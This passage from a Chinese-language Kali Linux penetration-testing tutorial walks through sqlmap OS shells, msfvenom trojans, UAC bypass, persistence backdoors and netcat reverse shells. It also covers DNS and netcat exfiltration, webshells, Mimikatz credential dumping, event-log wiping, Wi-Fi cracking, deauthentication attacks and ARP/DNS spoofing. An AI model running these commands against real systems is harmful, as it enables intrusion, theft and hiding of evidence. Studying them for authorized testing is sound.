  • 爬虫扫描:如webscan模式,./xray_linux_amd64 webscan --basic-crawler http://testphp.vulnweb.com --html-output vulnweb.html启动基础爬虫检测漏洞,可查看结果分析。
  • 被动式扫描:先生成 CA 证书(./xray_linux_amd64 genca),设置浏览器代理(如 Firefox 改端口为 7777 并导入证书),在终端用./xray_linux_amd64 webscan --listen 127.0.0.1:7777 --html-output proxy.html开启监听扫描,访问 URL 后查看结果。

(七)CMS 漏洞扫描

  • WPScan(WordPress 扫描):预装在 Kali Linux,wpscan --update更新数据库,注册获取 API Token,wpscan --url 域名或 IP 地址 --api-token Token扫描 WordPress 网站,扫描结果有漏洞链接,可查看详细信息和 PoC 代码验证漏洞。
  • JoomScan(Joomla!扫描):安装用apt install joomscanjomscan -u 域名或 IP 地址扫描 Joomla!网站,扫描后在/usr/share/joomscan/reports/生成报告,可查看漏洞信息。

漏洞利用

(一)Web 安全漏洞

常见类型如 SQL 注入、HTML 注入等多种,是渗透测试重要攻击目标,Kali Linux 有相关工具利用。

(二)Burp Suite 使用

  • 配置代理:启动后选默认配置进入主界面,关闭拦截,在 Options 标签改代理设置(默认 127.0.0.1:8080),生成证书,在浏览器(如 Firefox)设置代理并导入证书,可拦截 HTTPS 流量,验证后可对请求包操作。
  • 基础用法
    • Dashboard:付费版可漏洞扫描,显示任务、日志和漏洞信息。
    • TargetSite map显示爬虫信息,Scope设扫描范围,Issue definitions看漏洞详情。
    • ProxyHTTP history记录代理信息,Options设代理,WebSockets history看 Socket 连接记录,还有其他功能区可设置规则和操作请求响应。
    • Decoder:字符串加解密。
    • Comparer:对比请求,暴力破解常用。
    • Extender:添加扩展插件并设置。
    • Project options:配置项目,可保存设置。
    • User options:配置用户,如身份验证、代理转发等。
  • 获取文件路径:开启拦截访问目标站,发送请求包到 Repeater,添加到站点地图,在 Target 查看生成的 URL 地址。
  • 实战应用
    • 身份验证绕过:如修改 Cookie 中参数绕过网站身份验证。
    • 暴力破解:以 WRCS 网站为例,先搜集信息生成字典,在 Burp Suite 拦截登录包发送到 Intruder,设置破解字段和攻击类型(Sniper 等)及字典文件后开始破解,根据状态码和字节长度判断密码。
    • 与 xray 联动:在 Burp Suite 的 User options 配置上游代理地址,xray 开启监听,Firefox 用原代理访问网站,可在 Burp Suite 查看请求,xray 扫描漏洞。

(三)SQL 注入

  • sqlmap 工具
    • 基本功能:检测利用 Web 应用数据库漏洞,如sqlmap -u 链接地址检测,sqlmap -u 链接地址 --batch用默认选项检测,可查看数据库多类信息(用户、权限等)并操作。
    • 数据库交互:执行 SQL 语句、shell 命令等,如sqlmap -u "URL 地址" --sql-query="查询语句" –batch执行查询,sqlmap -u "URL 地址" --os-cmd=系统命令 --batch执行系统命令,sqlmap -u "URL 地址" --os-shell --batch获取操作系统访问权限,还有文件写入等操作。
    • POST 请求注入:可用sqlmap -u "URL 地址" --data="POST 的内容" --batch或保存请求文件用sqlmap -r 保存的文件 --batch检测,-m选项可批量检测多个目标。
    • 登录表单注入sqlmap -u "URL 地址" --cookie="cookie 值" --batch检测登录后注入点,sqlmap -u "URL 地址" --forms –batch自动检测表单参数。
    • 指定注入方式:如sqlmap -u "URL 地址" --technique=E --batch指定报错注入。
    • 使用脚本sqlmap -u "URL 地址" --batch --tamper 脚本名用脚本绕过 WAF,脚本在/usr/share/sqlmap/tamper/目录。
    • 编写脚本:如创建and.py将 SQL 注入 payload 中的AND替换为/*!AND*/绕过 WAF,编写后按格式使用。
  • JSQL Injection:安装用apt install jsql-injection,启动后输入 URL 扫描利用漏洞,可进行数据库多操作,还有批量测试等功能,可设置相关参数和更改配置。

(四)XSS 漏洞

  • XSSer:安装用apt install xsserxsser -u "URL 地址" -g '路径和参数'检测 GET 请求 XSS 漏洞,xsser -u "URL 地址" -c 爬虫深度 --Cl URL 地址自动化检测,还有图形界面。
  • XSStrike:安装用pip3 install xsstrikexsstrike -u "URL 地址"扫描,可检测多种 XSS 漏洞类型和 POST 请求,能扫描登录后页面,还有盲注功能。
  • BeEF 框架:安装用apt-get updateapt-get install beef-xss,启动后设密码登录控制面板,注入 Hook 地址利用漏洞,可获取 Cookie、钓鱼等,还有多种模块,停止用beef-xss-stop

(五)文件包含漏洞

  • Uniscan:安装用apt install uniscanuniscan -u URL 地址 -qweds基本扫描,可批量检测,在/usr/share/uniscan/report生成报告,还有图形界面。

(六)Metasploit 渗透测试框架

  • 基础结构:Ruby 编写,各目录功能不同,/usr/share/metasploit-framework/modules/含多种模块分类,msfconsole启动终端模式,会话为 Meterpreter。
  • 木马生成:先选目标系统 Payload(如msfvenom -l payloads查看后筛选)和编码方式,用msfvenom -p 使用的 payload -e 编码 -i 编码次数 LHOST=本机 IP 地址 LPORT=本机端口 -f 保存的文件格式 > 保存的路径生成木马,发送到目标后在 Metasploit 终端开启监听获取会话,可进行调优和多种操作(如sysinfo获取系统信息)。
  • 扫描并利用漏洞:用 Nmap 扫描目标主机信息保存为 XML 文件后导入 Metasploit,查询利用漏洞模块(如search vsftpd)并运行。
  • 生成外网木马文件:选正向连接 Payload(msfvenom -l payloads | grep bind)替换反向 Payload,用内网穿透工具(如 Ngrok)生成配置和公网地址,按此生成木马,在 Metasploit 设置监听获取外网回连会话。

提权

提权基础

  • 提权重要性:在渗透测试中,获取目标主机更高权限可扩大攻击范围,如从 Guest 或 User 权限提升到管理员或系统权限,有助于获取密码哈希、修改注册表及持久化控制等操作。
  • 提权分类:分为本地提权(低权限用户利用本地应用或系统漏洞提升权限)和远程提权(攻击者通过漏洞利用程序提升远程主机权限)。
  • 信息收集前置步骤:针对 Windows 系统,通过 net user 查看所有用户,net localgroup Administrators 查看管理员用户组,systeminfo 获取系统详细信息与补丁;对于 Linux 系统,可利用 GitHub 上的相关脚本(如 Linux_Exploit_Suggester)检测提权漏洞,为提权做准备。

Metasploit 框架提权

  • 系统权限提升:建立 meterpreter 会话后,执行 getsystem 命令尝试提升权限,但存在如无法执行系统函数、命名管道占用等限制,常需配合其他后渗透模块,如绕过用户账户控制和提高运行级别的模块。
  • UAC 绕过:Windows Vista 及以上版本引入 UAC 防止未经授权修改系统。在 Metasploit 中,可使用 exploit/windows/local/bypassuac 等模块绕过。例如,先将会话置于后台(background),配置模块后运行获取新会话,再结合 getsystem 提权;还可使用 bypassuac_injection 等其他模块通过进程注入等方式绕过,若不确定使用哪个模块,可利用 post/multi/recon/local_exploit_suggester 进行自动化检测。
  • 假冒令牌提权:令牌是系统临时密钥,如访问令牌、密保令牌等。在 meterpreter 会话中,加载 incognito 模块,使用 list_tokens -u 列出委派令牌,通过 impersonate_token "NT AUTHORITY\SYSTEM" 假冒系统用户令牌获取其权限。
  • 利用 RunAs 提权:使用 exploit/windows/local/ask 模块创建可执行文件上传到目标主机,运行时提示用户是否继续,若用户同意则在 Metasploit 触发高权限新会话,后续可通过 getsystem 提权,提权后需用 clearev 删除上传文件清除痕迹。

PowerShell 脚本提权

  • PowerShell 基础
    • 脚本与执行策略:PowerShell 脚本后缀为 .ps1,执行策略有 Restricted(默认,禁止脚本运行)、AllSigned、RemoteSigned、Unrestricted 四种。可在 PowerShell 窗口用 Get-ExecutionPolicy 获取当前策略,set-executionpolicy 策略名称 设置策略,但修改策略需管理员或系统权限。
    • 策略绕过方法:本地权限绕过可在 cmd 窗口输入 powershell.exe–Nop–NonI–Exec Bypass–Command "& {Import-Module 脚本路径; 脚本名称}" -noexit;下载远程脚本绕过可在目标主机 PowerShell 环境输入 IEX (New-Object Net.WebClient).DownloadString ("脚本地址")。同时,可通过特定命令关闭不同版本 PowerShell 的安全警告。
  • PowerSploit 提权:其脚本位于 /usr/share/windows-resources/powersploit 目录。加载 Privesc.psd1 文件后,Invoke-PrivescAudit -Format HTML 可检测提权方法并以 HTML 格式输出。例如,Get-System 命令可通过假冒令牌提升线程权限(PowerShell 2.0 需添加 -STA 标志);导入 Exfiltration.psd1 文件后,Invoke-TokenManipulation 系列命令可操作令牌;Get-ModifiableServicevoke-ServiceAbuse 可调用服务创建用户;Get-Service 服务名称 | Write-ServiceBinary 可利用预编译可执行文件相关操作;还有如 Invoke-Mimikatz 等其他实用模块。
  • Nishang 提权:在 Kali Linux 安装后,脚本位于 /usr/share/nishang 目录。加载 nishang.psm1 文件后可使用模块。如 Invoke-PsUACme 可绕过 UAC;Enable-DuplicateToken 可复制令牌提权;还有 Get-InformationCheck-VM 等多个实用模块用于获取信息、检测虚拟机、获取凭据、删除补丁等操作。

Starkiller 后渗透框架提权

  • 基础使用:在 Kali Linux 安装后,开启本地 empire 服务端(powershell-empire server --username=用户名 --password=密码),登录 Starkiller 后配置监听器和 Payload,上传到目标 Windows 主机运行获取代理会话,通过界面操作执行命令、上传下载文件、管理模块和凭据等。
  • 提权操作
    • 绕过 UAC:在会话模块区域选择如 powershell/privesc/bypassuac 模块并配置监听器提权,新会话可能需进一步用 powershell/privesc/getsystem 提升到系统权限。
    • 利用溢出漏洞:利用自带的 MS16-032MS16-135 等模块,如设置 powershell/privesc/ms16-135 模块并配置监听器可提升权限。
    • RunAs 提权:输入 powershell/privesc/ask 模块并配置后,目标主机用户确认可生成新会话,再用 powershell/privesc/getsystem 获取系统权限。
    • 提权辅助powershell/privesc/sherlock 模块可枚举提权漏洞。

持久化

Metasploit 框架持久化

  • 修改注册表启动项:获取最高权限 meterpreter 会话后,使用 persistence 模块,配置会话 ID 和监听端口,会上传 vbs 文件到 C:\Users\用户名\AppData\Local\Temp\,目标主机重启或用户重新登录时通过注册表 CurrentVersion\Run 执行 Payload。需在 Kali Linux 另开终端配置监听模块获取会话。
  • 创建持久化服务:使用 persistence_service 模块,配置会话 ID 和端口号,上传可执行文件并创建持久化服务,运行时执行 Payload,但该服务无验证功能。可通过 resource 生成的脚本路径 删除可执行文件。

Starkiller 框架持久化

  • 创建计划任务:选择 powershell/persistence/userland/schtasks 模块,设置触发时间和监听器名称,在目标主机注册表添加计划任务,每天指定时间执行脚本获取新会话。
  • 创建快捷方式后门:选择 powershell/persistence/userland/backdoor_lnk 模块,填写 .LNK 文件路径和监听器等信息,在目标主机创建快捷方式后门,重启时运行返回新会话。
  • 利用 WMI 部署无文件后门:选择 powershell/persistence/elevated/wmi_updater 模块(需管理员权限),利用 WMI 事件订阅机制,设置相关参数后上传 .bat 文件,目标主机重启后在内存中运行后门获取新会话。

持久化交互式代理

  • Netcat 实现
    • 创建交互式代理会话:在 Kali Linux 找到 nc.exe 上传到目标主机,在 Kali Linux 终端监听端口(nc -lvp 端口号),在目标主机 meterpreter 会话利用 execute -f "nc.exe 本机 IP 地址 本机端口 -e c:\windows\system32\cmd.exe" 获取反向连接会话(可创建隐藏会话),也可在目标主机开启监听进行正向连接,Linux 系统主机需更改交互程序。
    • 转储文件:在 Kali Linux 监听端口并输出到文件(nc -lvp 本地监听端口 > pass.txt),在目标主机利用重定向将文件内容通过 Netcat 发送到 Kali Linux 监听端口,实现文件传输。
  • DNS 命令控制
    • DNSteal 工具使用:在 Kali Linux 下载 DNSteal 并运行作为 DNS 服务器。转储文件时,在目标主机按特定命令格式将文件内容编码通过 DNS 查询发送到服务器,文件传输两遍后在 Kali Linux 查看;执行系统命令时,替换命令中的 ls. 为任意命令,在 Kali Linux 查看枚举信息。
  • PowerShell 命令控制
    • 建立反向会话:在 Kali Linux 监听端口,在目标主机导入 Invoke-PowerShellTcp.ps1 模块并配置参数,实现与 Kali Linux 反向通信,可执行系统命令。
    • 建立正向会话:在目标主机导入模块并开启监听端口,在 Kali Linux 输入命令连接,建立正向会话进行命令控制。

WebShell

  • Metasploit 框架网页后门:在 Kali Linux 利用 msfvenom 生成如 PHP 格式的反向连接 WebShell(msfvenom -p php/meterpreter/reverse_tcp LHOST=本机 IP 地址 LPORT=本机监听端口 -f raw > webshell.php),上传到目标服务器 Web 目录,在 Metasploit 配置监听模块,访问 WebShell 文件触发反向连接获取控制权。
  • Weevely:在 Kali Linux 生成 WebShell 文件(weevely generate 连接密码 生成的 WebShell 文件名)并上传到目标服务器,然后连接(weevely 上传或注入 WebShell 的目标服务器的地址 WebShell 密码)。连接后可利用自带模块获取目标主机信息、进行文件操作(如 file_upload2webfile_download 等)和执行命令(如 shell_php 等)。
  • WeBaCoo:在 Kali Linux 安装后生成 PHP 格式后门文件(webacoo -g -o 文件名)并上传到目标主机 Web 目录,连接(webacoo -t -u 上传地址)后可执行系统命令,其特点是隐蔽性强。
  • 蚁剑:在 Kali Linux 先下载加载器并安装蚁剑,安装后打开主界面添加 WebShell 地址进行管理,可通过虚拟终端执行命令、文件管理操作文件、插件市场下载插件,支持多种脚本类型、功能模块、编码解码和插件。
  • WebShell 文件:Kali Linux 的 /usr/share/webshells 目录下有多种 WebShell 文件,如上传 PHP 格式文件到目标主机 Web 目录并访问可执行操作,可根据目标系统选择合适文件。

内网横向渗透

(一)信息收集

  1. 内网信息收集分类
    • 本机信息收集:涵盖账户信息(判断权限提升需求)、网络和端口信息(确定网络连接情况)、进程列表(关注安全软件进程)、系统和补丁信息(辅助提权)、凭据收集(扩大战果)。
    • 域内信息收集:判断是否处于域环境,查找域管理员和域控主机,了解域内结构与权限分配。
  2. 不同系统信息收集方法
    • Linux 主机:运用如 ifconfignetstatps -efcat /etc/issueuname -a 等命令收集信息。
    • Windows 主机:借助 ipconfignetstat -anotasklistsysteminfonet user 等系统命令分析系统和内网状况。
  3. 敏感文件收集
    • Windows 主机敏感文件
      • 系统配置文件:包含 C:\boot.iniC:\Windows\win.ini 等,存储系统关键配置。
      • 用户信息文件:如 C:\Windows\repair\sam 保存初始密码,C:\Users\用户名\NTUSER.DAT 存储注册表信息。
      • 日志文件:像 C:\Windows\Debug\NetSetup.log 记录网络设置日志。
      • 文档文件*.docx 等格式可能含敏感业务或个人数据。
    • Linux 主机敏感文件
      • 系统配置文件/etc/passwd 记录用户信息,/etc/shadow 存储密码。
      • 用户信息文件/root/.ssh/authorized_keys 记录 SSH 公钥等。
      • 日志文件/var/log/messages 记录系统消息。
      • 文档文件:与 Windows 类似,可能存在敏感信息。
  4. 利用框架收集内网信息
    • Metasploit 框架
      • 网络状态:通过 route list 查看路由表,arp 命令获取 ARP 缓存,run post/windows/gather/dnscache_dump 收集 DNS 缓存,netstat 显示网络连接状态。
      • 用户信息:用 run post/windows/gather/enum_logged_on_users 枚举登录用户,hashdumprun post/windows/gather/smart_hashdump 获取密码哈希值,load kiwicreds_all 收集凭据。
      • 枚举域控主机run post/windows/gather/enum_domain 确定域名和域控 IP,run post/windows/gather/enum_ad_computers 枚举域控详细信息,run post/windows/gather/enum_ad_groups 枚举域内组信息。
    • Starkiller 框架:借助集成的 PowerView 工具,使用 powershell/situational_awareness/network/powerview/get_user 模块查询用户信息,powershell/situational_awareness/network/powerview/get_computer 获取域控主机详细信息,powershell/situational_awareness/network/powerview/get_domain_controller 仅显示域控主机信息。

(二)横向移动

  1. 横向移动情况分类
    • 目标主机拥有最高权限且能获取域控主机会话。
    • 目标主机拥有最高权限但无法与域控主机连接获取会话。
    • 目标主机无最高权限但可横向移动到其他服务器获取域控主机会话。
    • 目标主机无最高权限且内网无可横向移动主机。
  2. 获取域控主机会话的方法
    • 代理路由:在 Metasploit 框架中,若已知域控主机网段,在 Meterpreter 会话输入 run autoroute -s 目标主机内网网段 添加路由,修改 /etc/proxychains4.conf 配置文件并运行代理服务,测试后可尝试获取域控主机会话。
    • PsExec:先在 Meterpreter 会话中 load kiwi 加载扩展,用 kiwi_cmd sekurlsa::logonPasswords 获取账号密码,将会话置后台,使用 exploit/windows/smb/psexec 模块并配置相关参数获取域控主机会话。
    • IPC$:先测试目标主机 IPC$ 是否开启,生成木马文件,经 Meterpreter 会话上传到目标主机,再复制到域控主机,利用 AT 命令在指定时间运行木马获取会话。
    • WMIC:生成木马文件并上传到域控主机,开启监听,在目标主机 cmd 终端输入特定命令执行木马获取会话,也可执行 PowerShell 脚本获取反向连接会话。
  3. 清除日志:Metasploit 框架中,在 Meterpreter 会话输入 clearev 清除目标系统事件日志,或加载 Mimikatz 扩展后用 kiwi_cmd event::clear 清除且不留痕迹;非 Metasploit 框架获取的会话,可用批处理命令 for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1" 遍历清除。

暴力破解

(一)哈希

  1. 哈希概念与特点:哈希是将任意长度数据映射为固定长度数据的方法,具有正向快速、逆向困难、输入敏感、避免冲突的特点,广泛应用于密码学等领域,常见算法有消息摘要(MD)算法、安全散列算法(SHA)、哈希消息认证码(HMAC)等。
  2. 不同系统哈希收集
    • Linux 系统:用户密码哈希值存储在 /etc/shadow 文件,需 root 权限或利用漏洞工具读取,其密码哈希采用 SHA - 512 算法且加盐。
    • Windows 系统:哈希值通常在 SAM 文件或 NTDS.DIT 文件中,获取系统权限后可用 Mimikatz 等工具提取,如 mimikatz.exe sekurlsa::logonpasswords 命令可获取用户密码哈希值,采用 NTLM 和 SHA1 等算法。

(二)密码字典

  1. 分类
    • 弱密码字典:包含简单易猜密码,如 123456 等。
    • 强密码字典:有复杂随机密码。
    • 定制化字典:根据目标特征定制,如姓名、生日等。
    • 专用字典:针对特定场景,如 Wi - Fi 密码。
  2. Kali Linux 自带字典文件及用途/usr/share/wordlists 下的 rockyou.txt 是常用密码字典,需解压使用;dirbdirbuster 目录用于网站扫描;fern - wifi 目录存储无线网络密码文件;metasploit 目录文件用于渗透测试;wfuzz 目录文件用于 Web 应用模糊测试。
  3. 生成密码字典工具
    • CeWL:根据指定 URL 和爬取深度生成密码字典,如 cewl -w 保存的文件名 目标 URL 地址 可爬取网站前两层页面生成字典,还可指定数字、字符、长度、爬取深度等参数。
    • cupp:通过交互式问题收集目标个人信息生成字典,先安装 apt install cupp,用 cupp -i 进入交互模式,也可下载大型字典或扩展已有字典。
    • Crunch:按指定规则和字符集生成密码字典,如 crunch 最小长度 最大长度 字符集 选项,可通过 -t 选项指定密码格式。

(三)暴力破解工具

  1. hashcat
    • 基础用法:破解前需知加密算法 ID(通过 hashcat --help 查询)和选择攻击模式(如 0 为直接攻击模式,指定密码字典文件破解哈希),可叠加字典文件,利用规则文件变换字典,也可通过掩码机制自动生成字典破解哈希,掩码字符集有小写字母 l、大写字母 u 等多种。
    • 破解应用:破解 Linux 和 Windows 用户哈希,需确定对应算法 ID;破解压缩包密码,先提取哈希值(RAR 用 rar2john 工具,ZIP 用 zip2john 工具)再破解;支持分布式暴力破解,需指定大脑主机和客户端相关参数。
  2. Hydra:指定协议名称破解网络服务密码,如 hydra -L 用户字典文件 -P 密码字典文件 -t 10 -e ns ftp://IP 地址 破解 FTP 服务,可根据情况指定用户名、批量破解网段或文件。
  3. John:支持多种加密算法,用脚本提取不同格式文件哈希值(如 pdf2john.pl 提取 PDF 文件哈希),删除文件名后用 john --wordlist=字典文件 PDF 文件的哈希值 破解,可指定加密算法加速破解,默认字典为 /usr/share/john/password.lst
  4. Metasploit:在 Metasploit 终端用 search auxiliary/scanner login 列出暴力破解模块,以破解 Telnet 服务为例,选择 auxiliary/scanner/telnet/telnet_login 模块并配置相关参数后运行,破解成功可连接对应会话。

无线网络攻击

(一)无线探测

  • 无线适配器选择:为有效实施无线攻击,需选用支持监听模式和数据包注入的无线适配器。
    • Atheros厂商
      • ATH9K_HTC
      • ATH10K
    • 雷凌厂商
      • RT73
      • RT2800USB
      • RT3070
    • 瑞昱厂商
      • RTL8188EUS
      • RTL8188CU
      • RTL8188RU
      • RTL8192CU
      • RTL8192EU
      • RTL8723AU
      • RTL8811AU
      • RTL8812AU
      • RTL8814AU
      • RTL8821AU
      • RTW88-USB
    • 联发科厂商
      • MT7610U
      • MT7612U
    • 高通厂商
      • QCACLD-2.0
      • QCACLD-3.0
        本篇选用雷凌 RT3070 无线适配器,使用前需在主机中插入并于 VM 虚拟机中连接,通过 iwconfig 命令查看创建的无线接口(如 wlan0),再用 ifconfig wlan0 up 激活接口。
  • 探测工具及方法
    • iwlist 工具:是 wireless tools 套件一部分,用于扫描无线网络查看频率、信道、速率、加密方式等信息。在终端输入 iwlist wlan0 scanning 即可扫描周边无线网络,结果中 Address 为 MAC 地址,Channel 为信道,Frequency 为支持频率,Encryption key 显示加密密钥情况,ESSID 为网络名字。
    • aircrack - ng 工具包:功能强大,可评估无线网络安全,具备嗅探、破解、注入等功能。使用时先通过 airmon - ng start wlan0 创建监听模式接口(新接口如 wlan0mon),若提示有影响进程可执行 airmon - ng check kill 关闭。之后输入 airodump - ng wlan0mon 扫描周边无线网络,扫描结果 BSSID 是 MAC 地址,PWR 为信号强度,Beacons 是数据包数量,CH 为信道,ENC 是加密算法体系,CIPHER 为检测到的加密算法,AUTH 是认证协议,ESSID 为网络名字,STATION 为客户端 MAC 地址。扫描结束后用 airmon - ng stop wlan0mon 关闭监听模式。
    • Kismet 工具:是 802.11 无线网络探测器、嗅探器和入侵检测系统,可监测流量、探测隐藏网络和攻击行为,还能生成日志文件。在终端输入 kismet - c wlan0 启动服务,用浏览器访问输出链接并配置用户名和密码进入主界面查看扫描结果,可通过单击网络名称或相关菜单查看详细信息和筛选设备。

(二)查找隐藏的 SSID

  1. 隐藏 SSID 原理:默认 AP 广播信标帧显示 SSID,隐藏 SSID 可提高安全性,但攻击者仍可通过多种方式获取。
  2. 查找方法
    • 捕获数据包:SSID 会在认证帧、关联帧、重关联帧等数据包中以明文形式出现。开启无线适配器监听模式后用 airodump - ng wlan0mon 查找周边网络,确定隐藏 SSID 的 BSSID。再用 Wireshark 查看 wlan0mon 通信,等待合法客户端连接 AP 时捕获信标帧获取 SSID。
    • 发送解除验证包:基于捕获数据包方式,先开启监听模式和 Wireshark 捕获通信。在终端输入 aireplay - ng - 0 10 - a [AP 的 MAC 地址] wlan0mon 向目标 AP 发送解除验证数据包,使客户端掉线重连,在 Wireshark 过滤器中输入 wlan.bssid == [AP 的 MAC 地址] &&!(wlan.fc.type_subtype == 0x08) 筛选探测请求帧和关联请求帧获取 SSID。
    • 暴力破解:无线客户端搜索网络时会向所有信道发探测请求帧且 SSID 为空,隐藏 SSID 的网络对正确 SSID 会回复探测响应帧。使用 mdk3 工具,先执行 apt install mdk3 安装,在终端输入 mdk3 wlan0mon p - b a - t [目标无线网络 MAC 地址] - s [速度] 生成随机 SSID 并发送探测请求帧,在 Wireshark 过滤器中输入 wlan.bssid == [无线网络的 MAC 地址] 查看使用的 SSID,最后筛选探测响应帧获取 SSID。

(三)绕过 MAC 地址认证

无线网络 MAC 地址认证基于物理地址过滤客户端。先通过 airodump - ng - c [无线网络信道] - a -- bssid [无线网络 MAC 地址] wlan0mon 获取 AP 中 MAC 地址白名单上的客户端 MAC 地址。然后关闭网络适配器监听接口(ifconfig wlan0 down),用 macchanger - m [冒充的 MAC 地址] wlan0 修改 MAC 地址,最后开启接口(ifconfig wlan0 up)查看修改结果,成功后即可连接 AP。

(四)无线网络数据加密协议

  1. 常见加密协议
    • WEP(有线等效保密):最早的无线网络加密协议,用 RC4 流密码加密,因安全漏洞已弃用,但仍有使用。其固定 IV 导致数据包重用 IV 概率高,可通过生成大量相同密钥加密数据包破解。
    • WPA(Wi - Fi 保护接入):WEP 改进版,引入消息完整性检查和 TKIP,提高数据完整性和机密性,有 WPA - PSK 和 WPA - EAP 两种模式。
    • WPA2:WPA 升级版,强制用 AES 和 CCMP 替代 TKIP,加密强度增强,也有 WPA2 - PSK 和 WPA2 - EAP 模式。
    • WPA3:WPA2 最新版,强制用 PMF 特性,在不同模式下采用新方式,安全性更高。
  2. 破解方法
    • 破解 WEP:先开启无线适配器监听模式确定使用 WEP 的无线网络(如 ESSID 为 ADMIN 的 AP),用 airodump - nd 关注目标网络数据包并保存(-- bssid [无线网络的 MAC 地址] -- channel [信道] -- write [保存的文件名] wlan0mon)。再用 aireplay - ng 的 ARP 重放功能生成大量数据包(- 3 - b [无线网络的 MAC 地址] - h [伪造的 MAC 地址] wlan0mon),最后用 aircrack - ng - w [密码字典文件] [保存的文件名.cap] 破解 WEP 密钥。
    • 破解 WPA/WPA2 - PSK:先确定使用 WPA/WPA2 协议的 AP(如 ESSID 为 ADMIN 的 AP),用 airodump - ng -- bssid [无线网络的 MAC 地址] -- channel [信道] -- write [保存的文件名称] wlan0mon 抓取数据包捕获 4 次握手包,可等待新客户端连接或发送解除验证数据包(aireplay - ng - 0 5 - a [无线网络的 MAC 地址] wlan0mon)促使重连捕获。捕获后可用多种工具破解:
      • aircrack - ng:输入 aircrack - ng - w [密码字典文件] [保存的文件名.cap] 破解。
      • CoWPAtty:先执行 apt install cowpatty 安装,再输入 cowpatty - f [密码字典文件] - r [保存的文件名.cap] - s [无线网络的 ESSID] 破解。
      • hashcat:先将.cap 文件转换为 hashcat 能识别格式(aircrack - ng [保存的文件名.cap] - J [保存的 hccap 文件名]),再输入 hashcat -- force - m 2500 [保存的文件名.hccap] [密码字典文件] 破解。
      • 预先计算 PMK:用 genpmk - f [指定密码字典文件] - d pmk - s "无线网络的 ESSID" 生成包含预先生成 PMK 的文件,再用 CoWPAtty 工具(cowpatty - d PMK 文件 - r [保存的文件名.cap] - s "无线网络的 ESSID")可加快破解速度。

(五)拒绝服务攻击

常见手段有解除验证攻击、取消关联攻击、RTS/CTS 攻击、通信干扰攻击等。以解除验证攻击为例,先执行 airodump - ng -- bssid [无线网络 MAC 地址] -- channel [信道] wlan0mon 查看无线网络客户端,再在终端输入 aireplay - ng - 0 [解除验证数据包次数] - a [无线网络 MAC 地址] - c [客户端 MAC 地址] wlan0mon 发动攻击,不指定客户端 MAC 地址则攻击所有客户端,可使客户端掉线,通过 airodump - ng 工具输出查看结果。

(六)克隆 AP 攻击

先使用 airodump - ng 确定要克隆 AP 对象(如 ESSID 为 Admin 的 AP),再用 airbase - ng 工具伪造 AP(airbase - ng - a [无线网络 MAC 地址] – essid "无线网络 ESSID" - c [信道] wlan0mon)。向被克隆 AP 客户端发送解除验证帧(aireplay - ng - 0 5 - a [无线网络 MAC 地址] - c [客户端 MAC 地址] wlan0mon)使其掉线,客户端重新搜索时会连接克隆 AP,可查看 airbase - ng 工具输出确认。

(七)架设钓鱼 AP

与克隆 AP 攻击不同,钓鱼 AP 是创建类似但不完全相同的 AP 吸引客户端连接以传播恶意内容。使用 berate - ap 脚本架设,先执行 apt install berate - ap 安装,再输入 berate_ap - w 2 wlan0mon [网络接口] [AP 名] [密码] 可架设 WPA2 加密 AP,不设密码则为开放验证,吸引客户端连接后可进行恶意行为。

(八)自动化工具破解

  1. Fern Wifi Cracker:用 Python 编写,支持多种加密方式破解及多种网络攻击和渗透测试技术。在 Kali Linux 中启动后选择无线接口扫描无线网络,选择目标网络(如 Admin),添加字典文件,选择无线客户端后开启自动化模式并点击 Attack 按钮进行暴力破解,可通过状态栏查看破解状态,破解成功后可存储结果并查看。
  2. Wifite:预装在 Kali Linux,启动前需安装依赖文件(apt install hcxdumptool && apt install hcxtools)。启动后自动扫描无线网络,按 Ctrl + C 终止扫描并指定目标网络序号,工具自动查找 PMK、发送解除验证帧抓握手包并使用 aircrack - ng 暴力破解,可查看破解结果和储存的网络信息。

中间人攻击

(一)攻击原理

攻击者插入通信双方之间拦截、修改或伪造通信内容,常见形式为 ARP 欺骗和 DNS 欺骗。ARP 欺骗利用 ARP 协议缺陷伪造 MAC 地址,DNS 欺骗利用 DNS 协议缺陷伪造 IP 地址,攻击者借此成为中间人窃取或篡改数据,通常需借助 Ettercap、Bettercap、arpspoof 等工具。

(二)Ettercap 框架

  1. 基本使用:在 Kali Linux 终端输入 ettercap - G 开启图形化界面,设置 Sniffing at startup、Primary Interface 等选项后保存,对指定网络接口主机进行嗅探。点击地球图标可选择 MITM 攻击类型,如 ARP 中毒、DNS 欺骗等,菜单栏可设置目标、主机等选项。
  2. ARP 欺骗及数据捕获
    • 先开启内核转发功能(echo 1 > /proc/sys/net/ipv4/ip_forward),用 Ettercap 嗅探获取目标网络主机列表和网关信息,选择网关和目标主机 IP 地址添加到 Target 1 和 Target 2,选择 ARP Poisoning 并勾选 Sniff remote connections 开启捕获远程连接功能后点击 OK 开始欺骗。可使用 tcpdump 查看被欺骗主机和网关数据流(tcpdump - i [网络接口] host [ARP 欺骗目标 IP 地址]),用 driftnet 捕获图片(先安装 apt - get install driftnet,再输入 driftnet - i [网络接口]),用 urlsnarf 捕获 URL 地址(urlsnarf - i [网络接口])。
  3. DNS 欺骗:先对目标主机和网关进行 ARP 欺骗,编辑 /etc/ettercap/etter.dns 文件添加欺骗 DNS 记录,开启 Apache 服务,在 Plugins 选项中激活 dns_spoof 插件开始欺骗,右键可停止。
  4. 内容过滤:通过编写过滤脚本来实现,语法类似 C 语言。如编写过滤 80 号端口请求脚本,用 etterfilter 工具编译后在 Ettercap 图形模式中加载执行,可对数据包进行修改或丢弃,达到欺骗、篡改等目的,但存在局限性。

(三)Bettercap 框架

  1. 基本使用:先执行 apt - get install bettercap 安装,输入 bettercap 启动交互模式,用 help 命令查看模块和命令。主要模块有 arp.spoof、dns.spoof 等,可用于不同攻击和侦查。如用 net.recon 模块扫描网络主机和服务(net.recon on 启用,net.show 查看结果)。
  2. ARP 欺骗和 DNS 欺骗
    • ARP 欺骗:设置 arp.spoof.targets 为目标 IP 地址,arp.spoof.fullduplex 为 true 开启双向欺骗,分别执行 arp.spoof onnet.sniff on 启动模块进行欺骗和嗅探,用 off 命令停止。
    • DNS 欺骗:先设置 arp.spoof.targets 启动 ARP 欺骗,再设置 dns.spoof.domainsdns.spoof.address,分别执行 dns.spoof onnet.sniff on 启动模块,停止用 dns.spoof off
  3. 注入脚本:利用 http.proxy 模块,在指定目录新建 JavaScript 脚本文件,如 xss.js,在 Bettercap 交互模式中设置目标 IP 地址和注入脚本文件路径,启动 arp.spoofhttp.proxy 模块可向目标主机网页注入脚本,也可与 BeEF 工具配合。
